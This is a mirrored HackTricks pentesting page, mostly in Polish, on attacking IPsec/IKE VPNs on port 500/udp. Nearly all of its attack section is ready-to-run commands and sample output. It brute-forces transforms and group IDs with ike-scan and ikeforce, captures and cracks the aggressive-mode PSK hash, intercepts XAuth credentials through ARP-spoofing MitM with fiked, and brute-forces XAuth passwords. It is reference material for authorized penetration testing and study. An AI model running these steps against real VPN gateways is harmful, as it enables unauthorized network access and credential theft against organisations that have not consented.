mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
270 lines
18 KiB
Markdown
270 lines
18 KiB
Markdown
# 500/udp - Pentesting IPsec/IKE VPN
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
{% endhint %}
|
|
|
|
## Podstawowe informacje
|
|
|
|
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-do-LAN) oraz zdalnymi użytkownikami do bramy sieciowej (zdalny dostęp), stanowiąc podstawę dla rozwiązań VPN w przedsiębiorstwach.
|
|
|
|
Ustanowienie **związku bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, które działa w ramach ISAKMP, protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Proces ten przebiega w kilku fazach:
|
|
|
|
* **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami końcowymi. Osiąga się to poprzez użycie klucza wstępnie udostępnionego (PSK) lub certyfikatów, stosując tryb główny, który obejmuje trzy pary wiadomości, lub **tryb agresywny**.
|
|
* **Faza 1.5:** Choć nieobowiązkowa, ta faza, znana jako Faza Rozszerzonego Uwierzytelniania, weryfikuje tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.
|
|
* **Faza 2:** Ta faza poświęcona jest negocjowaniu parametrów zabezpieczania danych za pomocą **ESP** i **AH**. Umożliwia to użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Idealną Tajność Przyszłości (PFS)**, zwiększając bezpieczeństwo.
|
|
|
|
**Domyślny port:** 500/udp
|
|
|
|
## **Odkryj** usługę za pomocą nmap
|
|
```
|
|
root@bt:~# nmap -sU -p 500 172.16.21.200
|
|
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
|
Nmap scan report for 172.16.21.200
|
|
Host is up (0.00036s latency).
|
|
PORT STATE SERVICE
|
|
500/udp open isakmp
|
|
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|
```
|
|
## **Znalezienie ważnej transformacji**
|
|
|
|
Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. **Każda transformacja** zawiera szereg atrybutów, takich jak DES lub 3DES jako **algorytm szyfrowania**, SHA lub MD5 jako **algorytm integralności**, klucz współdzielony jako **typ uwierzytelnienia**, Diffie-Hellman 1 lub 2 jako **algorytm dystrybucji kluczy** oraz 28800 sekund jako **czas życia**.
|
|
|
|
Pierwszą rzeczą, którą musisz zrobić, jest **znalezienie ważnej transformacji**, aby serwer mógł z tobą rozmawiać. Aby to zrobić, możesz użyć narzędzia **ike-scan**. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją z **ośmioma transformacjami wewnątrz**.
|
|
|
|
W zależności od odpowiedzi możesz uzyskać pewne informacje o punkcie końcowym:
|
|
```
|
|
root@bt:~# ike-scan -M 172.16.21.200
|
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
|
172.16.21.200 Main Mode Handshake returned
|
|
HDR=(CKY-R=d90bf054d6b76401)
|
|
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
|
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|
|
|
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
|
```
|
|
As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\
|
|
**Wartość ostatniej linii jest również bardzo ważna:**
|
|
|
|
* _0 zwrócone handshake; 0 zwrócone notify:_ To oznacza, że cel to **nie jest brama IPsec**.
|
|
* _**1 zwrócone handshake; 0 zwrócone notify:**_ To oznacza, że **cel jest skonfigurowany dla IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jeden lub więcej z proponowanych transformacji jest akceptowalnych** (ważna transformacja zostanie pokazana w wynikach).
|
|
* _0 zwrócone handshake; 1 zwrócone notify:_ Bramki VPN odpowiadają wiadomością notify, gdy **żadna z transformacji nie jest akceptowalna** (choć niektóre bramki tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidowanej propozycji).
|
|
|
|
W takim razie mamy już ważną transformację, ale jeśli jesteś w 3. przypadku, musisz **trochę przeprowadzić brute-force, aby znaleźć ważną transformację:**
|
|
|
|
Przede wszystkim musisz stworzyć wszystkie możliwe transformacje:
|
|
```bash
|
|
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
|
```
|
|
A następnie przeprowadź atak brute-force na każdy z nich za pomocą ike-scan (może to zająć kilka minut):
|
|
```bash
|
|
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
|
```
|
|
Jeśli brute-force nie zadziałał, być może serwer odpowiada bez handshake'ów nawet na ważne transformacje. Wtedy możesz spróbować tego samego brute-force, ale używając trybu agresywnego:
|
|
```bash
|
|
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
|
```
|
|
Mam nadzieję, że **ważna transformacja zostanie odesłana**.\
|
|
Możesz spróbować **tego samego ataku** używając [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
|
Możesz również spróbować przeprowadzić brute force na transformacjach za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
|
```bash
|
|
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
|
```
|
|
.png>)
|
|
|
|
W **DH Group: 14 = 2048-bit MODP** i **15 = 3072-bit**\
|
|
**2 = HMAC-SHA = SHA1 (w tym przypadku). Format `--trans` to $Enc,$Hash,$Auth,$DH**
|
|
|
|
Cisco wskazuje, aby unikać używania grup DH 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że **kraje z dużymi zasobami mogą łatwo złamać szyfrowanie** danych, które używają tych słabych grup. Robi się to za pomocą specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Mimo że kosztuje to dużo pieniędzy, aby skonfigurować tę metodę, pozwala tym potężnym krajom na odczytanie zaszyfrowanych danych w czasie rzeczywistym, jeśli używa się grupy, która nie jest silna (jak 1,024-bit lub mniejsza).
|
|
|
|
### Fingerprinting serwera
|
|
|
|
Następnie można użyć ike-scan, aby spróbować **odkryć dostawcę** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** **pomiędzy** odebranymi **wiadomościami** z serwera a odpowiadającym wzorcem odpowiedzi, pentester może skutecznie zidentyfikować dostawcę bramy VPN. Co więcej, niektóre serwery VPN będą używać opcjonalnego **ładunku Vendor ID (VID)** z IKE.
|
|
|
|
**Określ ważną transformację, jeśli to konieczne** (używając --trans)
|
|
|
|
Jeśli IKE odkryje, który jest dostawcą, wydrukuje to:
|
|
```
|
|
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
|
172.16.21.200 Main Mode Handshake returned
|
|
HDR=(CKY-R=4f3ec84731e2214a)
|
|
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
|
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|
|
|
IKE Backoff Patterns:
|
|
|
|
IP Address No. Recv time Delta Time
|
|
172.16.21.200 1 1322286031.744904 0.000000
|
|
172.16.21.200 2 1322286039.745081 8.000177
|
|
172.16.21.200 3 1322286047.745989 8.000908
|
|
172.16.21.200 4 1322286055.746972 8.000983
|
|
172.16.21.200 Implementation guess: Cisco VPN Concentrator
|
|
|
|
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
|
```
|
|
To można również osiągnąć za pomocą skryptu nmap _**ike-version**_
|
|
|
|
## Znalezienie poprawnego ID (nazwa grupy)
|
|
|
|
Aby móc przechwycić hash, potrzebujesz ważnej transformacji wspierającej tryb agresywny oraz poprawnego ID (nazwa grupy). Prawdopodobnie nie będziesz znać ważnej nazwy grupy, więc będziesz musiał ją złamać.\
|
|
Aby to zrobić, polecam ci 2 metody:
|
|
|
|
### Bruteforcing ID z ike-scan
|
|
|
|
Przede wszystkim spróbuj wykonać żądanie z fałszywym ID, próbując zebrać hash ("-P"):
|
|
```bash
|
|
ike-scan -P -M -A -n fakeID <IP>
|
|
```
|
|
Jeśli **żaden hash nie jest zwracany**, to prawdopodobnie ta metoda brute forcingu zadziała. **Jeśli jakiś hash jest zwracany, oznacza to, że fałszywy hash zostanie odesłany dla fałszywego ID, więc ta metoda nie będzie niezawodna** do brute-forcingu ID. Na przykład, może zostać zwrócony fałszywy hash (to zdarza się w nowoczesnych wersjach):
|
|
|
|
.png>)
|
|
|
|
Ale jeśli, jak już powiedziałem, żaden hash nie jest zwracany, powinieneś spróbować brute-forcingu powszechnych nazw grup za pomocą ike-scan.
|
|
|
|
Ten skrypt **spróbuje brute-forcingu możliwych ID** i zwróci ID, dla których zwrócono ważne handshake (to będzie ważna nazwa grupy).
|
|
|
|
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ike-scan. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować wszystkich (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).
|
|
|
|
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego w seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) powszechnych nazw grup do brute-forcingu:
|
|
```bash
|
|
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
|
```
|
|
Or use this dict (jest to kombinacja innych 2 słowników bez powtórzeń):
|
|
|
|
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
|
|
|
### Bruteforcing ID z Iker
|
|
|
|
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) również używa **ike-scan** do bruteforcingu możliwych nazw grup. Stosuje swoją własną metodę, aby **znaleźć ważne ID na podstawie wyników ike-scan**.
|
|
|
|
### Bruteforcing ID z ikeforce
|
|
|
|
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) to narzędzie, które można wykorzystać do **bruteforcingu ID również**. To narzędzie **spróbuje wykorzystać różne luki** które mogą być użyte do **rozróżnienia między ważnym a nieważnym ID** (mogą wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).
|
|
|
|
Domyślnie **ikeforce** na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
|
|
|
* **Pierwsza metoda** polega na bruteforcingu nazw grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** systemów Cisco (te informacje są odtwarzane przez serwer tylko wtedy, gdy nazwa grupy jest poprawna).
|
|
* **Druga metoda** polega na **sprawdzaniu liczby odpowiedzi wysyłanych na każdą próbę**, ponieważ czasami wysyłane są dodatkowe pakiety, gdy używane jest poprawne id.
|
|
* **Trzecia metoda** polega na **wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na niepoprawne ID**.
|
|
* Na koniec, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje bruteforcingu serwera i sprawdzi, czy po wysłaniu poprawnego id serwer odpowiada jakimś pakietem.\
|
|
Oczywiście celem bruteforcingu id jest uzyskanie **PSK**, gdy masz ważne id. Następnie, z **id** i **PSK** będziesz musiał bruteforcingować XAUTH (jeśli jest włączone).
|
|
|
|
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ikeforce. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować je wszystkie (powinieneś spróbować je wszystkie, aż jedna z nich będzie działać poprawnie).
|
|
```bash
|
|
git clone https://github.com/SpiderLabs/ikeforce.git
|
|
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|
```
|
|
|
|
```bash
|
|
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
|
```
|
|
### Sniffing ID
|
|
|
|
(Z książki **Ocena Bezpieczeństwa Sieci: Poznaj Swoją Sieć**): Możliwe jest również uzyskanie ważnych nazw użytkowników poprzez sniffing połączenia między klientem VPN a serwerem, ponieważ pierwszy pakiet trybu agresywnego zawierający identyfikator klienta jest wysyłany w postaci niezaszyfrowanej.
|
|
|
|
.png>)
|
|
|
|
## Capturing & cracking the hash
|
|
|
|
Na koniec, jeśli znalazłeś **ważną transformację** i **nazwę grupy**, a jeśli **tryb agresywny jest dozwolony**, to bardzo łatwo możesz przechwycić łamliwy hash:
|
|
```bash
|
|
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
|
```
|
|
Hash zostanie zapisany w pliku _hash.txt_.
|
|
|
|
Możesz użyć **psk-crack**, **john** (używając [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) oraz **hashcat**, aby **crack** hash:
|
|
```bash
|
|
psk-crack -d <Wordlist_path> psk.txt
|
|
```
|
|
## **XAuth**
|
|
|
|
**Agresywny tryb IKE** w połączeniu z **kluczem współdzielonym (PSK)** jest powszechnie stosowany do **uwierzytelniania grupowego**. Metoda ta jest wzbogacona o **XAuth (Rozszerzone Uwierzytelnianie)**, które wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj wykorzystuje usługi takie jak **Microsoft Active Directory**, **RADIUS** lub porównywalne systemy.
|
|
|
|
Przechodząc do **IKEv2**, zauważalna zmiana polega na tym, że **EAP (Rozszerzalny Protokół Uwierzytelniania)** jest wykorzystywany zamiast **XAuth** w celu uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.
|
|
|
|
### Lokalna sieć MitM do przechwytywania poświadczeń
|
|
|
|
Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istnieje domyślna nazwa użytkownika (musisz przekierować ruch IKE do `fiked` w celu sniffingu, co można zrobić za pomocą spoofingu ARP, [więcej informacji](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked będzie działać jako punkt końcowy VPN i przechwyci poświadczenia XAuth:
|
|
```bash
|
|
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|
```
|
|
Również, używając IPSec, spróbuj przeprowadzić atak MitM i zablokować cały ruch do portu 500, jeśli tunel IPSec nie może zostać nawiązany, być może ruch zostanie wysłany w postaci niezaszyfrowanej.
|
|
|
|
### Brute-forcing XAUTH username ad password with ikeforce
|
|
|
|
Aby przeprowadzić brute force na **XAUTH** (gdy znasz ważną nazwę grupy **id** i **psk**), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
|
|
```bash
|
|
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
|
```
|
|
W ten sposób, ikeforce spróbuje połączyć się, używając każdej kombinacji nazwy użytkownika:hasło.
|
|
|
|
Jeśli znalazłeś jedną lub kilka ważnych transformacji, po prostu użyj ich jak w poprzednich krokach.
|
|
|
|
## Uwierzytelnianie z IPSEC VPN
|
|
|
|
W Kali, **VPNC** jest wykorzystywane do ustanawiania tuneli IPsec. **Profile** muszą znajdować się w katalogu `/etc/vpnc/`. Możesz zainicjować te profile za pomocą polecenia _**vpnc**_.
|
|
|
|
Poniższe polecenia i konfiguracje ilustrują proces ustawiania połączenia VPN z VPNC:
|
|
```bash
|
|
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
|
IPSec gateway [VPN_GATEWAY_IP]
|
|
IPSec ID [VPN_CONNECTION_ID]
|
|
IPSec secret [VPN_GROUP_SECRET]
|
|
IKE Authmode psk
|
|
Xauth username [VPN_USERNAME]
|
|
Xauth password [VPN_PASSWORD]
|
|
STOP
|
|
root@system:~# vpnc samplevpn
|
|
VPNC started in background (pid: [PID])...
|
|
root@system:~# ifconfig tun0
|
|
```
|
|
W tej konfiguracji:
|
|
|
|
* Zastąp `[VPN_GATEWAY_IP]` rzeczywistym adresem IP bramy VPN.
|
|
* Zastąp `[VPN_CONNECTION_ID]` identyfikatorem połączenia VPN.
|
|
* Zastąp `[VPN_GROUP_SECRET]` grupowym sekretem VPN.
|
|
* Zastąp `[VPN_USERNAME]` i `[VPN_PASSWORD]` danymi uwierzytelniającymi VPN.
|
|
* `[PID]` symbolizuje identyfikator procesu, który zostanie przypisany, gdy `vpnc` zostanie zainicjowany.
|
|
|
|
Upewnij się, że rzeczywiste, bezpieczne wartości są używane do zastąpienia miejsc wypełniających podczas konfigurowania VPN.
|
|
|
|
## Materiały referencyjne
|
|
|
|
* [Artykuł o łamaniu PSK](http://www.ernw.de/download/pskattack.pdf)
|
|
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
|
* [Skanowanie implementacji VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
|
* Ocena bezpieczeństwa sieci 3. wydanie
|
|
|
|
## Shodan
|
|
|
|
* `port:500 IKE`
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie dla HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
</details>
|
|
{% endhint %}
|